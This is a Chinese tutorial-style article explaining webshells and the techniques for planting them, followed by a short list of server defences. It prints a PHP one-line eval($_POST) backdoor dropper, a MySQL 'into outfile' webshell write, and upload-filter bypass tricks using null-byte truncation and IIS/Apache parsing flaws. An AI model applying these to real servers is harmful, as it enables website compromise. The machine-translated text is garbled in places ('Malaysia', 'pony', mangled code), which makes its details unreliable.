webshell什么意思(webshell后门)

最近在我的黑客攻防视频教程中多次提到“webshell”这个词,也有很多朋友私下问我“webshell”是什么。为什么在很多黑客技术资料中都有提及?

webshell什么意思(webshell后门)

今天我们就以本文的内容为大家详细介绍一下“webshell技术”!

一、 什么是webshell

1.介绍

web,顾名思义:“web”——显然服务器需要开放,“shell”——在服务器上获得一些操作权限。web是web的管理工具,可以操作web服务器。它也被称为webadmin。

HELL是asp、php、jsp等网页形式的命令执行环境,也叫网页后门。一般来说,当黑客入侵网站时,这些asp、php木马的后门文件会放在网站的web目录下,与正常的网页文件混在一起。它们的名字可能和正常的文件名非常相似,所以人们不能通过文件名第一眼就判断它们是后门文件。然后,他就可以利用web请求的方式,用asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。

2.基本分类

根据脚本,webshell可以分为PHP脚本木马、ASP脚本木马、基于。NET和JSP脚本木马。

按功能可分为大马和小马。小马通常指特洛伊木马,例如:

在这里,木马将通过提交表单来提交。具体做法是定义一个对象IP,然后在text中写入newvalue的内容(newvalue的内容在textarea中定义),并写入覆盖生成的ASP文件,然后执行这个脚本。客户端中的值代表表单的名称,这个名称必须和服务器(本地机器)的post提交中的表单名称相同,所以这里的值可以是任意字符,相当于密码之类的,但是这个’密码’是明文的,可以被截获。PHP的原理和上面的原理类似,就是语言的不同导致语法的不同。这是小马的基本工作原理。

马来西亚的工作模式就简单多了。客户端和服务器没有区别,就是有些脚本直接集成了一个木马的服务器,通过上传漏洞上传马来西亚,然后复制马来西亚的url地址直接访问,从而渗透到页面的web服务器。但是有些网站对上传文件有严格的限制,因为马来西亚的功能比较多,所以体积比较大,很可能超过了网站上传限制。但是pony的体积是可以控制的(比如多次复制代码,或者将代码插入乱码文件),但是pony操作比较繁琐。可以先把pony上传到webshell,然后通过pony的连接上传到马来西亚获取服务器。

3.基本原则

可执行脚本

A.HTTP数据包($_GET,$_POST,$_COOKIES,$_SERVER[args]等。)

数据传输

执行的数据

A.直接执行(评估、系统、通过等。)

B.该文件包含执行(include、require等。)

C.动态函数执行($ a = ” phpinfo$ a();)

D.大括号语法执行(${‘ls’})

E.preg_replace(第一个参数存在’/e ‘)

启动功能

G.回调函数(array_map等。)

H.反序列化(取消序列化等。)

二、 webshell常见获取方式

1.上传漏洞以获取WebShell

首先说一下我们已经讲过的最常见的上传漏洞。上传一个木马,就可以获得服务器的执行权。

文件上传漏洞主要包括以下几种情况:

Mime类型绕过漏洞

文件扩展名绕过了该漏洞

文件内容检测绕过类上传漏洞。

空通过字节截断目录路径检测绕过类上载漏洞

我们可以修改请求包的内容类型,并且可以成功地绕过服务器端MIME类型检测。这种类似的方法可以绕过服务器端对http数据包内容类型的检测。

检测由解析导致的文件上传漏洞:

IIS 6.0工作站上的目录路径检测和解析绕过上传漏洞。

Apache站点上的解析缺陷绕过了上传缺陷。

Htaccess文件上传解析漏洞

这个的技术点就是用Bp修改一些请求的参数,包括00截断操作文件名,改变类型,当然还有二进制连接。

还有一些编辑器漏洞导致的文件上传,比如FCK编辑器。

2.sql注入以获得webshell

一直以来,人们都认为sql注入是用来暴露和查询关键信息的。事实上,对于数据库操作,SQL注入攻击可以获得WebShell,这实际上是将文件写入服务器。(注意:这里我们需要获取网站的绝对路径。)所有常用的关系数据库管理系统(RDBMS)都包含将文件写入服务器文件系统的内置功能。

MySQL:

select into outfile(dump file)//MySQL写文件命令

#例如:

选择” & lt?php echo ‘ test?>到outfile“F:\ \ www \ \ test . PHP”;

然后其他关系数据库管理系统也是用同样的原理写文件,就不多介绍了。

3.数据库备份以获取WebShell

对于这种方法,我遇到过的是拿到管理员账号和密码后就可以登录后台了。虽然有上传的地方,但是只能是jpg图片。这个时候,你要把它改成。asp后缀。网站中的数据库备份漏洞可以用在这里。“数据库备份”功能在后台的“系统管理”中提供。我们可以将上传的镜像文件作为要备份的数据库,然后利用指定备份文件名的漏洞将备份的文件重命名为。asp后缀。具体操作如下图所示。

成功备份后,记下重命名的webshell文件\ wwwroot \ admin \的路径。\管理员\ webshell.asp。

在这里,我们成功地将webshell上传到了网站,并输入了网址:我们可以访问这个网页。因为他是一匹大马,所以我们可以这样做。一般来说,木马是没有内容的,我们一般用中国菜刀连接。

4.CMS获得WebShell

CMS是什么?

CMS是内容管理系统的缩写,意思是“内容管理系统”。内容管理系统是企业信息化建设和电子政务的新宠,也是一个比较新的市场。业内对内容管理没有统一的定义,不同的机构有不同的理解。

常见的CMS有哪些?

Asp:动态CMS,李闯CMS,科讯CMS,云信CMS;

Php平台:phpcms、梦想编织cms、帝国CMS、php168cms

ASP.NET平台:中联重科!竹浪CMS、东易CMS、丰讯CMS、We7cms

获取CMS WebShell方法

暴露漏洞的方法:以PHPCMS为例;

我们可以使用搜索引擎来查找互联网上的常见漏洞。如果目标站点不固定,我们很容易得到WebShell。

审计方法:

许多CMS实际上是开源的。我们可以在官网下载源代码,然后审计代码,自己挖掘漏洞,获得WebShell。

三、如何上传webshell

1.分析漏洞上传

目前有不同的web服务器程序对应不同的web服务器系统。windows中iis是主流,linux中nginx是主流。这些服务为构建web服务器提供了极大的帮助,但也给服务器带来了隐患。这些服务器有一些漏洞,很容易被黑客利用。

(1)iis目录解析漏洞

例如:/xx.asp/xx.jpg

尽管上传的JPG文件在xx.asp文件夹中,但iis会将该图像文件解释为xx.asp。iis5.x/6.0版中存在此漏洞。

(2)文件解析漏洞

比如:xx.asp;。jpg .网页上传时,jpg文件被识别,但上传后iis不会解析;之后,文件也会被解析成一个asp文件。iis5.x/6.0版中存在此漏洞。

(3)文件名解析

比如:iis6.0下的xx.cer/xx.cdx/xx.asa.,cer文件,cdx文件,asa文件都会被视为可执行文件,其中的asp代码也会被执行。(其中asa文件是特定于asp的配置文件,cer是证书文件)。

(4)快速CGI解析漏洞

当网络服务器启动fast-CGI时,上传图片xx.jpg。内容是:

1 & lt?php fputs(fopen(‘shell.php ‘,’ w ‘),’ & lt?php eval($_POST[shell])?& gt’);?& gt在这里使用fput创建一个shell.php文件并写一个句子。如果您访问xx.jpg/.php,,将会在此路径下生成一个单词的特洛伊木马shell.php。此漏洞存在于IIS 7.0/7.5和Nginx 8.03中。语言:PHP,prel,Bourne Shell,C等语言。

*注:fast-CGI是CGI的升级版,是指在服务器上提供人机交互的界面。fast-CGI是一个常驻CGI。因为每次执行CGI都需要用fork启动一个进程,但是fast-CGI总是在激活后执行,所以不需要每次请求都要fork一个进程。它比普通的CGI占用更少的内存。

(5)apache解析漏洞

Apache从右向左解析。如果解析不成功,它会想左移一位。但后台上传通常是上传文件最右边的后缀,据此可将马命名为。因为apache不能解析rar,所以解析为php,但是后台上传点解析为rar,从而绕过上传文件的后缀限制。

2.截断上传

比如上传图片的时候,命名1.asp.jpg(ASP后面有空网格)。上传时使用NC或catch表单,在上传的名称ASP上加%00(十六进制值可直接在burpsuite中编辑,空 grid的十六进制值为20,将20改为00)。如果十六进制为00,

3.后台数据库备份

在一些企业的后台管理系统中,有备份数据库的功能(比如南方cms就有备份数据库的功能)。你可以上传一张里面有木马的图片,或者把马来西亚改成jpg格式,然后用数据库备份功能把这张图片备份成asp等其他内容可以解析成脚本语句的格式,然后就可以通过web访问执行木马了。但是这种方法已经很老了,现在大部分cms都已经取消或者禁用了这个备份功能。

4.通过数据库语句上传。

(1) mysql数据库导入outfile

这种方法的前提必须是网站有相应的注入点,当前用户必须有上传的权限,服务器下必须有当前网页的绝对路径。方法是使用联合查询,将木马导入到网站底部的php文件中,然后将网站与服务器连接。但上述方法的条件过于苛刻,一般情况下很少出现。

(2)创建一个新表,写入木马。

一些开源的cms或者自制的webshell会有数据库管理功能,数据库管理功能中包含了sql查询功能。首先,使用create table shell(codetext);创建一个名为shell的表,其中列出了代码名称和文本类型。然后使用insert into shell(代码)值(“一句话马”)。这里将shell表中的code列赋值为一句马,然后通过自定义备份将表备份为x.php。然后x被解析成php并执行。这不是x.php。x必须能够解析为php。不同的web服务器有不同的服务程序,然后过滤规则也不一样。可以使用其他方式。

(3)phpMyadmin设置不正确。

PhpMyadmin是一个用来管理网站数据库的工具,其中config.inc.php是它的配置文件。在查看该文件时,如果没有设置$ CFG[‘ servers ‘][$ I][‘ auth _ type ‘]参数的值(默认为config),则意味着在登录数据库时可以不经过相应的验证直接连接数据库。此外,在Mysql的某些版本中,默认登录是root。但是,root用户只能在本地登录,因此必须创建一个远程登录用户。使用远程登录用户登录后,创建一个表,然后编写一个特洛伊木马。

四、webshell的防范措施

了解了webshell的基本原理后,最关键的防范装置就是植入asp、php、jsp等木马文件。使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录。没有经验的管理员几乎看不到入侵的痕迹。一般来说,我们可以从以下几个方面来处理安全问题:

1.Web软件开发的安全性

A.如果程序中有文件上传,攻击者就利用漏洞上传木马文件。

b、防sql注入、防暴库、防COOKIES欺骗、防跨站脚本攻击。

2、服务器的安全性和web服务器的安全性

A.服务器要做好所有的安全设置,安装病毒和木马检测软件(注意:webshell的木马是这类软件检测不到的),启动防火墙,关闭不必要的端口和服务。

b、提高web服务器的安全设置

C.控制以下命令的权限(以windows为例):

cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe

3、ftp文件上传安全

设置ftp服务器,防止攻击者通过ftp将木马文件直接上传到web程序的目录中。

4.文件系统的存储权限

设置web程序目录和系统中其他目录的权限。相关目录的写权限只给超级用户,部分目录的写权限给系统用户。

将web应用与任何上传的文件(包括)分开,保持web应用的纯洁性,文件可以由两个服务器读取:静态文件解析服务器和web服务器(Apache/Nginx加tomcat等web服务器),也可以读取图片。有些程序可以直接读取文件,并以流的形式返回给客户端。

5.不要使用超级用户运行web服务。

对于apache、tomcat等web服务器,安装后应该以系统用户或具有指定权限的用户身份运行。如asp、php等木马文件。被植入到系统中,它们将以超级用户的身份运行,webshell将获得超级用户的权限来控制整个计算机。

6.使用安全工具进行测试。

d屏蔽:

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。

作者:美站资讯,如若转载,请注明出处:https://www.meizw.com/n/289258.html

发表回复

登录后才能评论